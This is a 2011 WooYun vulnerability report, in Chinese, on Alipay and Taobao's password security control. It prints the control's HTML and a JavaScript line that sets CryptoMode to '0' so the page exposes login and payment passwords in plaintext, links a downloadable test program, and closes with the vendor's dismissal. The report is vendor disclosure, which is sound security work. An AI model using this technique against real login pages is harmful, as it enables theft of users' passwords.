漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2011-03566
漏洞标题：支付宝/淘宝登陆安全登陆控件密码获取
相关厂商：支付宝
漏洞作者： 104705824
提交时间：2011-12-08 12:45
修复时间：2011-12-08 14:34
公开时间：2011-12-08 14:34
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2011-12-08： 细节已通知厂商并且等待厂商处理中
2011-12-08： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
支付宝和淘宝为了账号安全登陆时输入密码引用了安全控件，登陆网页系统设计却留下了
密码加密接口，修改网页某个值能获取到密码明文。登陆密码，支付密码包括淘宝网站的登陆都存在此漏洞！
详细说明：
在https://www.alipay.com/看了下源代码，
找到了显示密码控件的那段代码：
<object id="_fmu.l._0.p_ie" name="_fmu.l._0.p_ie" width="194" height="24" tabindex="2" classid="clsid:488A4255-3236-44B3-8F27-FA1AECAA8844" codebase="https://download.alipay.com/aliedit/aliedit/2401/aliedit.cab#Version=1,1,0,0" >
其中:488A4255-3236-44B3-8F27-FA1AECAA8844是密码控件clsid值， _fmu.l._0.p_ie是ID
getElementById("_fmu.l._0.p_ie").innerHTML
获取到的以下代码
<PARAM NAME="_cx" VALUE="5133"><PARAM NAME="_cy" VALUE="635"><PARAM NAME="PasswordMode" VALUE="-1"><PARAM NAME="SecurityMode" VALUE="-1"><PARAM NAME="TextValue" VALUE="3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7"><PARAM NAME="MaxLength" VALUE="20"><PARAM NAME="LogMode" VALUE="0"><PARAM NAME="TextData" VALUE="3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7"><PARAM NAME="Readonly" VALUE="0"><PARAM NAME="CryptoMode" VALUE="4"><PARAM NAME="cm5ts" VALUE=""><PARAM NAME="cm5pk" VALUE="">
得到了数字1的加密内容3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7
3DES是加密方式，FDB704F0F6FA87B7是加密后的密文。修改CryptoMode的值为0时表示密码输入不加密，这样就可以获取到密码明文！
getElementById("_fmu.l._0.p_ie").CryptoMode ="0"
经测试引用这个密码安全控件的支付宝登陆页面登陆密码，支付页面的支付密码，淘宝的登陆页面登陆密码，都可以用这种方法获取到密码明文！只是每个页面的ID值不一样而已!
漏洞证明：
测试程序到我网盘下载：
http://115.com/file/dn8552sm
修复方案：
建议去掉密码加密外部引用接口
版权声明：转载请注明来源 104705824@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2011-12-08 14:34
厂商回复：
该参数是控件业务的一个状态值，被利用来窃取用户口令成本较高。
漏洞Rank：8 (WooYun评价)
最新状态：
暂无